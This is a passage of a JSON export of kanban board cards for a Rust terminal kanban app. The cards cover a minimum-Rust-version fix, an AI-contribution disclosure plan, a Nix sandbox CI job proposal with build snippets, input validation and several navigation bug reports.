        "description": "## Problem\n\nPR #254 (KAN-420) set `rust-version = \"1.74\"` in the workspace `Cargo.toml` and updated CONTRIBUTING.md to match, based on the MSRV of `ratatui 0.29` and `clap 4.5`. However, the actual dependency floor is higher.\n\n## Root cause\n\nThe `arboard` crate (clipboard support, used by `kanban-tui`) pulls in `image`, which pulls in `moxcms` and `pxfm`, all of which declare `rust-version = \"1.85\"`. Confirmed via `cargo metadata`:\n\n```\nkanban-tui → arboard → image → moxcms → pxfm (rust-version = 1.85)\n```\n\nThis means:\n- The workspace declares 1.74 as the minimum\n- Cargo enforces 1.74 at the workspace level and gives a clear error for anything below that\n- But a build on 1.74–1.84 will still fail due to dependency `rust-version` declarations, just with a less actionable error from deep in the dependency tree rather than from our own workspace\n\n## Context\n\nSurfaced by a contributor hitting build failures on cargo 1.75.0. PR #254 addressed the symptom (1.70 was clearly wrong) but did not verify the full dependency MSRV floor via `cargo metadata`.\n\n## Fix\n\n- Bump `rust-version` in workspace `Cargo.toml` from `\"1.74\"` to `\"1.85\"`\n- Update CONTRIBUTING.md prerequisites from `Rust 1.74+` to `Rust 1.85+`",
        "due_date": null,
        "id": "1aba1640-2e31-4fb7-9272-0f35bf529dac",
        "points": null,
        "position": 33,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-11T23:24:13.846371542Z",
            "status": "Active"
          }
        ],
        "status": "Todo",
        "title": "Fix minimum Rust version in CONTRIBUTING.md (1.74 is too low)",
        "updated_at": "2026-05-11T23:24:13.846372091Z"
      },
      {
        "card_number": 163,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-12-23T00:31:01.453382Z",
        "description": "## Context\nClaude is listed as a contributor. Transparency about AI-assisted development builds trust.\n\n## Content to Add to CONTRIBUTING.md\n\n### Section: \"AI-Assisted Development\"\n\nThis project uses AI assistance (Claude by Anthropic) for:\n- Code generation and refactoring\n- Documentation writing\n- Test case generation\n- Code review suggestions\n\n### Review Process for AI-Generated Code\nAll AI-generated code undergoes the same review as human contributions:\n1. Automated CI checks (clippy, tests, formatting)\n2. Human review for correctness and style\n3. Integration testing before merge\n\n### Patterns to Watch For\nAI-generated code may exhibit:\n- Over-abstraction (unnecessary traits/generics)\n- Verbose error handling\n- Missing edge cases in generated tests\n- Documentation that restates code instead of explaining intent\n\n### Attribution\nAI-assisted commits are attributed to the human who reviewed and approved them.\nThe AI tool is listed in commit trailers when significant generation occurred.\n\n## Files to Modify\n- `CONTRIBUTING.md` - add new section\n\n## Acceptance Criteria\n- [ ] Clear disclosure of AI tool usage\n- [ ] Review process documented\n- [ ] Common AI patterns listed for reviewers\n- [ ] Attribution policy clarified",
        "due_date": null,
        "id": "43cd8d8f-3ffa-4f8e-a0e1-4fc80cad4444",
        "points": 1,
        "position": 33,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2026-03-25T00:22:42.743041011Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2025-12-23T00:31:51.248422Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989115136Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743041326Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989115519Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Add AI contribution disclosure to CONTRIBUTING.md",
        "updated_at": "2026-04-04T23:33:28.989116404Z"
      },
      {
        "card_number": 45,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-14T07:02:39.332363Z",
        "created_at": "2025-10-12T21:11:47.061988Z",
        "description": null,
        "due_date": null,
        "id": "17d374eb-62fc-463b-9612-8d36b069c7c7",
        "points": 5,
        "position": 33,
        "priority": "Medium",
        "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2025-11-01T09:30:06.155913Z",
            "status": "Completed"
          }
        ],
        "status": "Done",
        "title": "publish to crates.io",
        "updated_at": "2025-10-22T15:41:26.230595Z"
      },
      {
        "card_number": 68,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-22T20:19:45.673368Z",
        "created_at": "2025-10-21T21:24:51.757355Z",
        "description": null,
        "due_date": null,
        "id": "44270526-19aa-4d58-b895-75f1bb7fb1be",
        "points": 4,
        "position": 33,
        "priority": "Medium",
        "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155916Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "treesitter for syntax highlighting",
        "updated_at": "2025-10-22T20:19:45.673371Z"
      },
      {
        "card_number": 164,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-12-23T00:31:04.124060Z",
        "description": "## Context\nCurrent architecture (JSON + last-write-wins) fundamentally supports single-user only.\nRoadmap mentions HTTP API, collaboration, sync - these require different foundations.\n\n## Decision Framework\n\n### Option A: Personal Tool (Recommended)\nKeep current architecture, optimize for single-user experience:\n- SQLite for performance (not collaboration)\n- No server component\n- File sync via external tools (Dropbox, git)\n- Document limitations clearly\n\nImplications: Remove collaboration from roadmap, focus on offline-first, simpler maintenance\n\n### Option B: Team Tool\nRewrite for collaboration:\n- PostgreSQL or similar server DB\n- HTTP API with authentication\n- Real-time sync (WebSockets)\n- CRDT or OT for conflict resolution\n\nImplications: 6-12 month rewrite, different deployment model, hosting concerns\n\n### Option C: Hybrid\nPersonal-first with optional sync:\n- SQLite locally\n- Optional sync to remote server\n- Conflict resolution for sync only\n\nImplications: Complexity of both approaches, edge cases in sync logic\n\n## Decision Process\n1. Write ADR (Architecture Decision Record) in `docs/adr/`\n2. Update README with chosen scope\n3. Update roadmap to match\n4. Close/adjust related issues\n\n## Files to Create/Modify\n- `docs/adr/001-project-scope.md` - new ADR\n- `README.md` - update project description\n- `ROADMAP.md` - align features with scope\n\n## Acceptance Criteria\n- [ ] ADR documenting decision and rationale\n- [ ] README clearly states scope\n- [ ] Roadmap updated to match\n- [ ] Collaboration features removed or deferred",
        "due_date": null,
        "id": "6aba041e-bc89-4ffd-aa60-efc6b2cb690a",
        "points": 2,
        "position": 34,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2026-03-25T00:22:42.743043699Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2025-12-23T00:31:51.248424Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989177658Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743044042Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989177915Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Decide project scope: personal vs team tool",
        "updated_at": "2026-04-04T23:33:28.989179295Z"
      },
      {
        "card_number": 35,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-24T23:04:21.609543Z",
        "created_at": "2025-10-12T13:39:14.336658Z",
        "description": "using 1/2/3 etc is cool and all but I would also like to step through the panels using hjkl\n\nin the board details view, sprint section we use a list to show sprints.\n\nI think we just use 0 index of lists to change panel up and list.length - 1 index to change panel down. \n\nSo for when a panel contains a list and we hit j/k step through the list until we reach the end or the beginning and then change the panel\n\n2025-10-22 06:11:39\n---\n\nWorks for main view but not for task details or board settings?\n",
        "due_date": null,
        "id": "4e3ecb8a-476f-4f65-8060-5577eb32c192",
        "points": 2,
        "position": 35,
        "priority": "Medium",
        "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155912Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "make j/k work for changing panels",
        "updated_at": "2025-10-24T23:04:21.609543Z"
      },
      {
        "card_number": 94,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-24T23:09:57.868891Z",
        "created_at": "2025-10-24T22:23:13.397578Z",
        "description": "i just felt it was slow to put the selector where I wanted it when opening the ordering dialogue\n",
        "due_date": null,
        "id": "d67af0f9-644f-4c62-ba35-4ca087a3783d",
        "points": 1,
        "position": 35,
        "priority": "Low",
        "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155918Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "when opening a dialogue put selector on the currently selected item",
        "updated_at": "2025-10-25T21:17:27.509711Z"
      },
      {
        "card_number": 168,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-12-23T00:34:22.507242Z",
        "description": null,
        "due_date": null,
        "id": "92517164-5172-4536-9fb0-68670b2e0860",
        "points": 2,
        "position": 35,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2026-02-01T19:39:40.784550Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2025-12-23T00:34:45.449843Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.743054296Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784551Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989183086Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743054601Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989183415Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "scrolling in sprint list",
        "updated_at": "2026-04-04T23:44:57.075314435Z"
      },
      {
        "card_number": 59,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-24T22:34:45.306759Z",
        "created_at": "2025-10-16T22:26:00.559077Z",
        "description": "The behaviour of moving cards between columns isnt quite working. I have one card stuck in in doing and I cant move it with either `h`/`l` or `c`.\n\nIt doesnt seem to me to be working to move cards freely back and forth between the columns. something is off...\n\nso I select the second column with `2` and then hit `e` to edit that cards description. It edits another card..\n\n2025-10-20 17:39:14\n---\n\nSomewhere along the lines we lost the ability to move cards with `H` / `L`\n\nToggle complete also does not move said card into the last column\n\nFix this \n\n2025-10-21 23:14:58\n---\n\nI think it only doesnt happen in kanban view!\n\nkanban/crates/kanban-tui/src/handlers/card_handlers.rs, the handle_move_card_left() and handle_move_card_right()\n\nhandlers have a critical bug:\n\nIn kanban view (ColumnView), the code only updates column selection but never calls refresh_view():\n\nif self.is_kanban_view() {\n    if let Some(current_col_idx) = self.column_selection.get() {\n        if current_col_idx > 0 {\n            self.column_selection.set(Some(current_col_idx - 1));\n        }\n    }\n} else {\n    self.refresh_view();  // <-- This is only in the else branch!\n    self.select_card_by_id(card_id);\n}\n\nThis means:\n- The card's column_id and position ARE updated in memory\n- But the UI is NOT re-rendered to show the change\n- The kanban view doesn't redraw with the card in its new location\n\nIn flat/grouped views, it works because refresh_view() IS called.\n\nThere may also be a secondary issue: the handlers depend on get_selected_card_in_context() returning a card, which relies on the view\nstrategy having a selected card. If card selection isn't being maintained properly, the handlers wouldn't execute at all.\n\nPlan to Fix\n\nHere's what needs to be done:\n\n1. Add refresh_view() call to the kanban view branch in handle_move_card_left() (line ~349)\n2. Add refresh_view() call to the kanban view branch in handle_move_card_right() (line ~405)\n3. Add select_card_by_id() call after refresh in both handlers to maintain card selection\n4. Verify that card selection is being properly initialized when switching views\n5. Test the fix to ensure cards move and stay selected in all view modes\n\n> TLDR; it does happen it just doesnt update\n\n---\n\nRemains to be tested how this all behaves in a one column board\n",
        "due_date": null,
        "id": "93426618-f32a-44ee-bb3f-5020b76ad795",
        "points": 3,
        "position": 35,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "hitting c to complete a card doesnt move it to the last column",
        "updated_at": "2025-10-24T22:34:45.306761Z"
      },
      {
        "card_number": 450,
        "column_id": "db3aaee8-0f13-4afa-b000-592bac0bf364",
        "completed_at": null,
        "created_at": "2026-05-14T03:07:18.987941572Z",
        "description": "## Background\n\nWe've had two near-misses with the same failure class — tests that pass on regular Linux CI but fail in the Nix build sandbox:\n\n1. **2026-05-07** — 5 tests in `crates/kanban-tui/tests/settings_config_edit_tests.rs` called `config::save()` which silently fell back to `$HOME/.config/kanban/config.toml`. In the nixpkgs build sandbox `$HOME` is non-writable (typically `/homeless-shelter`), so `create_dir_all` returned `EACCES` and the tests panicked. Fixed reactively by KAN-396 (PR #241).\n2. **2026-05-14** — a new test `test_apply_config_edit_with_non_default_content_writes_config` in PR #267 reintroduced the exact same pattern. Caught only by manual audit (KAN-449 / PR #269), not by CI. Would have blocked the next nixpkgs-update bump if not for the manual catch.\n\nThe pattern: any test that exercises `apply_config_edit` (or anything else that ends up calling `config::save()`) without explicitly setting `configuration_location` hits `dirs::config_dir()` and fails in a sandbox. Linux CI doesn't catch this because Linux CI has `$HOME` set to a writable path. Only the **Nix build sandbox** reproduces the failure.\n\nWe need CI to run a real Nix sandbox build with `doCheck = true` so this class of regression is caught before it ships.\n\n## Verified locally — end-to-end successful\n\nI built v0.5.1 in the actual Nix sandbox using an inline expression mirroring nixpkgs's `pkgs/by-name/ka/kanban/package.nix` and confirmed:\n\n- `nix-build` exit code **0**\n- Final store path: `/nix/store/503c486n3ycmz8gnrkhisk0w2jzlpnvd-kanban-0.5.1`\n- `cargoCheckHook` ran inside the sandbox with `--profile release --target x86_64-unknown-linux-gnu --offline`\n- Approximately **1400+ tests across 67 test binaries** all passed, zero FAILED, zero panics, zero `Permission denied`\n\nThis confirms the *derivation shape* (rustPlatform.buildRustPackage with doCheck = true, importCargoLock, the same nativeBuildInputs/buildInputs as `default.nix`) works end-to-end inside the sandbox. The CI job should adopt that same shape, exposed as a flake output so it integrates cleanly with `nix flake check`.\n\n## Recommended approach: flake output + `nix flake check`\n\nAdd a `checks.${system}.workspace-tests` output to `flake.nix` that overrides `default.nix` to flip `doCheck = true` and run the full workspace test suite:\n\n```nix\nchecks.${system}.workspace-tests =\n  (pkgs.callPackage ./default.nix { src = self; gitRev = self.rev or null; }).overrideAttrs (old: {\n    doCheck = true;\n    cargoBuildFlags = [];\n    cargoTestFlags = [ \"--workspace\" ];\n  });\n```\n\nCI step:\n\n```yaml\n- uses: cachix/install-nix-action@v27\n  with:\n    extra_nix_config: |\n      experimental-features = nix-command flakes\n      substituters = https://cache.nixos.org https://nix-community.cachix.org\n      trusted-public-keys = cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY= nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=\n- run: nix flake check --print-build-logs\n```\n\n**Why this approach:**\n\n- One canonical hermetic-CI entry point (`nix flake check`) — same command developers can run locally.\n- Lives next to existing flake outputs in `flake.nix`, no separate file to maintain.\n- Equivalent sandbox semantics to the verified inline expression: the sandbox guarantees (non-writable `$HOME`, blocked network, ephemeral `/tmp`) come from the builder, not the derivation shape.\n\n**Verification gap to close before relying on this gate:**\n\nThe exact override path through `default.nix` was not run end-to-end during the v0.5.1 local verification — that used a standalone expression (see fallback below). Before marking the gate required, locally run `nix flake check` on current `develop` HEAD and confirm:\n\n1. It goes green when the codebase is healthy.\n2. It goes red when one of KAN-396 or KAN-449's test fixes is reverted (e.g. removing the `configuration_location` line from `test_apply_config_edit_with_non_default_content_writes_config`).\n\nThat regression-test-the-gate exercise is required by acceptance anyway; it doubles as the verification step for the override path.\n\n## Fallback: standalone `nix/nixpkgs-build.nix`\n\nIf the override path through `default.nix` proves fragile (cargoBuildFlags clearing, doCheck overriding, etc.), drop in a standalone file that mirrors nixpkgs's `pkgs/by-name/ka/kanban/package.nix` literally:\n\n```nix\n# nix/nixpkgs-build.nix\n{ pkgs ? import <nixpkgs> {}\n, src ? ./..\n}:\nlet\n  lockFile = \"${src}/Cargo.lock\";\nin\npkgs.rustPlatform.buildRustPackage {\n  pname = \"kanban\";\n  version = \"nixpkgs-sim\";\n\n  inherit src;\n\n  cargoDeps = pkgs.rustPlatform.importCargoLock { inherit lockFile; };\n\n  nativeBuildInputs = [ pkgs.pkg-config ];\n  buildInputs = pkgs.lib.optionals pkgs.stdenv.isLinux [\n    pkgs.wayland\n    pkgs.xorg.libxcb\n  ];\n\n  env.GIT_COMMIT_HASH = \"0000000000000000000000000000000000000000\";\n\n  # doCheck defaults to true — DO NOT override; that's the whole point of this job.\n}\n```\n\nCI step:\n\n```yaml\n- run: nix-build nix/nixpkgs-build.nix --no-out-link -vvv\n```\n\nThis is the path that was verified end-to-end against v0.5.1. Reach for it only if the flake-output route doesn't hold up.\n\nThe exact expression I used (for reference, against a local nixpkgs checkout):\n\n```nix\nlet\n  pkgs = import /home/max/fulsomenko/nixpkgs {};\n  src = /tmp/kanban-v0.5.1;\nin\n  (pkgs.callPackage /home/max/fulsomenko/nixpkgs/pkgs/by-name/ka/kanban/package.nix {}).overrideAttrs (old: {\n    inherit src;\n    version = \"0.5.1\";\n    cargoDeps = pkgs.rustPlatform.importCargoLock { lockFile = \"${src}/Cargo.lock\"; };\n    env = (old.env or {}) // { GIT_COMMIT_HASH = \"5e54f85f0000000000000000000000000000000000\"; };\n  })\n```\n\n## Where it should run\n\n**Recommendation: PR-to-develop**, not just PR-to-master. The 2026-05-14 near-miss landed in develop via PR #267 and was only caught at release time. Gating develop merges catches it earlier and cheaper than gating only the release PR.\n\nWorkflow trigger:\n\n```yaml\non:\n  pull_request:\n    branches: [develop, master]\n```\n\nIf develop-gating proves too expensive on initial rollout, fall back to PR-to-master only — that still would have caught the 2026-05-14 issue at release time.\n\n## Cost / cache\n\n- **Cold runner**: ~30 minutes. The build does two cargo compiles (buildPhase in dev profile, checkPhase in release profile) plus ~600 crates of vendored deps. cargoCheckHook re-runs cargo with `--profile release`, which doesn't share artifacts with buildPhase's default profile.\n- **Warm cache**: 2–5 minutes for the deps (substituters do almost all the work); the workspace recompile is the dominant remaining cost.\n- **Substituters to enable**: `cache.nixos.org` (default) + `nix-community.cachix.org`. The local verification pulled ~80% of its dep store paths from those two caches.\n- **Optional**: project-owned Cachix or S3 cache (`cachix/cachix-action@v15`) for caching the kanban-* derivations between PRs. Not strictly needed initially.\n\n## Implementation tips / gotchas\n\n- **`nix-build` vs `nix build`** are different CLIs with different flags. The legacy `nix-build` does NOT accept `-L` (modern's verbose flag); use `-vvv` instead. `nix flake check` uses the new CLI, so `-L` / `--print-build-logs` is fine there.\n- **Disk pressure** — running this on a self-hosted runner with <50GB free space will fail mid-build (the vendoring + dep compile + workspace compile produces ~15-20GB of intermediate `/nix/store` paths). GitHub-hosted `ubuntu-latest` has ~14GB free which may not be enough — verify with `df -h` before committing to that runner.\n- **Soft-launch path**: land the workflow as a non-required check first. Tune it until it's reliably green on `develop` HEAD. Then mark it required.\n\n## Acceptance\n\n- A CI job exists that runs a Nix sandbox build with `doCheck = true`, exposed as `checks.${system}.workspace-tests` and invoked via `nix flake check` (preferred), or via `nix-build nix/nixpkgs-build.nix` if the fallback was needed.\n- The job runs on every PR to `develop` (preferred) or `master` (fallback).\n- **Regression test for the gate itself**: reverting either KAN-396 OR KAN-449 (just the test file changes, e.g. removing the `configuration_location` line from `test_apply_config_edit_with_non_default_content_writes_config`) and pushing as a PR causes the new CI job to fail red. Document this regression-test recipe so future maintainers can verify the gate is still meaningful.\n- Cache configured so steady-state CI time is acceptable (under 10 min for unchanged deps; ≤5 min preferred).\n- Document in `CONTRIBUTING.md` that this gate exists, what it catches, and how to reproduce locally:\n  ```\n  nix flake check --print-build-logs\n  ```\n\n## Why this matters beyond `apply_config_edit`\n\nThe class of bugs this catches is not limited to `config::save()` fallbacks. Anything that:\n\n- Writes under `$HOME` / `~/.config` / `~/.local/share` / `~/.cache` (any `dirs::*` lookup)\n- Requires network access (Nix sandbox blocks it)\n- Depends on `/tmp` lifetime semantics beyond the build\n- Assumes a TTY / terminal capabilities\n\n…will be caught by this single sandbox build. Currently **zero of these classes are caught pre-release** — we rely entirely on ryantm flagging it post-release, which delays the next nixpkgs bump until we land a reactive fix.\n\n## Related cards / PRs\n\n- **KAN-396 / PR #241** — first reactive fix for this failure class.\n- **KAN-445 / PR #267** — added the Windows CI job (precedent for adding platform-specific CI gates).\n- **KAN-449 / PR #269** — the 2026-05-14 near-miss this card prevents recurring.\n- **Verified store path**: `/nix/store/503c486n3ycmz8gnrkhisk0w2jzlpnvd-kanban-0.5.1`",
        "due_date": null,
        "id": "c8a25ac2-aa9d-4b44-83e5-50d48b748c7e",
        "points": null,
        "position": 36,
        "priority": "High",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Todo",
        "title": "Add CI job: Nix sandbox build with tests (pre-release nixpkgs simulation)",
        "updated_at": "2026-05-14T15:32:57.437315447Z"
      },
      {
        "card_number": 173,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-01-10T12:08:03.263878Z",
        "description": "## Problem\nImport accepts corrupted JSON where references point to non-existent entities. Cards become invisible, relationships break.\n\n## Impact\n- Invisible cards (invalid column_id)\n- Broken relationships (invalid sprint_id)\n- Orphaned graph edges\n- Silent data corruption\n\n## Tasks\n1. Create new validation module with comprehensive checks\n2. Implement validate_referential_integrity() function:\n   - Check card.column_id exists in columns\n   - Check card.sprint_id exists in sprints\n   - Check dependency graph edges reference existing cards\n   - Check archived_cards reference valid columns\n3. Call validation after import (fail import if invalid)\n4. Call validation after load (warn only, don't fail)\n5. Return detailed error messages listing all issues\n\n## Files to Create/Modify\n- `crates/kanban-domain/src/validation.rs` (NEW)\n- `crates/kanban-domain/src/lib.rs` (add pub mod validation)\n- `crates/kanban-tui/src/export/importer.rs`\n- `crates/kanban-tui/src/state/mod.rs`\n\n## Acceptance Criteria\n- [ ] Validation module created\n- [ ] All 6 validation checks implemented\n- [ ] Import fails with detailed errors for invalid data\n- [ ] Load warns but doesn't fail\n- [ ] Integration test: import_with_invalid_references_fails passes\n- [ ] Error messages list all issues, not just first one",
        "due_date": null,
        "id": "627a516a-3104-4e08-8351-f30d6b4f8de3",
        "points": 3,
        "position": 36,
        "priority": "High",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2026-02-01T19:39:40.784545Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-28T08:47:10.923192Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.743062511Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784546Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989130790Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743062809Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989131048Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Add Referential Integrity Validation on Import/Load",
        "updated_at": "2026-04-04T23:33:28.989132133Z"
      },
      {
        "card_number": 82,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-24T22:27:41.749434Z",
        "created_at": "2025-10-22T15:46:45.372862Z",
        "description": "When a sprint is completed\n\nDont clear the reference to said sprint when it has been marked as completed.\n\nWe would rather like to filter out cards from completed sprints from any card lists\n\n2025-10-22 17:52:51\n---\n\nI would also like to make the first addition to the sprint details interface\n\nI would like a panel showing tasks\n\nfor completed sprints the panel should be column split into two panels \n\nleft panel would show a card list with non completed cards\n\nright panel would show a card list with completed cards\n\nat the bottom of each of these column we would sum up the points for the cards in the list\n\n2025-10-22 21:45:54\n---\n\nTo the sprint details ui we also add editing of the sprint settings json. such as setting the sprint override prefix\n\nIn the sprint details we add starting date and ending date aswell as days left, tasks left.\n\n2025-10-22 22:19:35\n---\n\nhitting [x] to navigate to a column with a task list should automatically select the first item in the list\n\n2025-10-24 18:46:58\n---\n\nSomething is still off with the ordering behaviour.\n\nThe ordering doesnt apply at the moment of selecting an ordering. Only after `O` is hit to reverse the ordering the cards seem to align.\n",
        "due_date": null,
        "id": "10551177-bbc3-4096-89e7-0c40f324e0b4",
        "points": 4,
        "position": 36,
        "priority": "High",
        "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155916Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "when sprint completes, dont remove card -> sprint reference",
        "updated_at": "2025-10-24T22:27:41.749436Z"
      },
      {
        "card_number": 34,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-24T23:04:30.736240Z",
        "created_at": "2025-10-12T13:37:00.520483Z",
        "description": "it currently does something else\n",
        "due_date": null,
        "id": "475bde99-0a3f-457c-9ea6-2fd51d1d7e73",
        "points": 1,
        "position": 36,
        "priority": "High",
        "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155912Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "when creating a task. set the cursor/selected task to the new task",
        "updated_at": "2025-10-24T23:04:30.736240Z"
      },
      {
        "card_number": 81,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-24T23:34:56.856533Z",
        "created_at": "2025-10-22T15:41:13.773865Z",
        "description": "2025-10-24 18:51:53\n---\n\nOn card lists that are empty hitting `j` or `k` seems to have no effect. \n\nFirst step\n\nReesearch if this is the case.\n",
        "due_date": null,
        "id": "a7b6cf8e-fa26-4625-ad97-18ed6095bca3",
        "points": 1,
        "position": 37,
        "priority": "Low",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "j / k doesnt work on empty columns",
        "updated_at": "2025-10-24T23:35:12.094072Z"
      },
      {
        "card_number": 90,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-26T08:17:50.126481Z",
        "created_at": "2025-10-24T16:50:01.067630Z",
        "description": "when a board has more than 1 column, moving it from the last column doesnt automatically uncomplete the card.\n\nit should\n\nand moving cards to the last column of a board that has more than 1 column doesnt complete the card\n",
        "due_date": null,
        "id": "3191fa04-c7ed-46e2-ae56-aba307f397f0",
        "points": 1,
        "position": 37,
        "priority": "Medium",
        "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
        "sprint_logs": [
          {
            "ended_at": null,
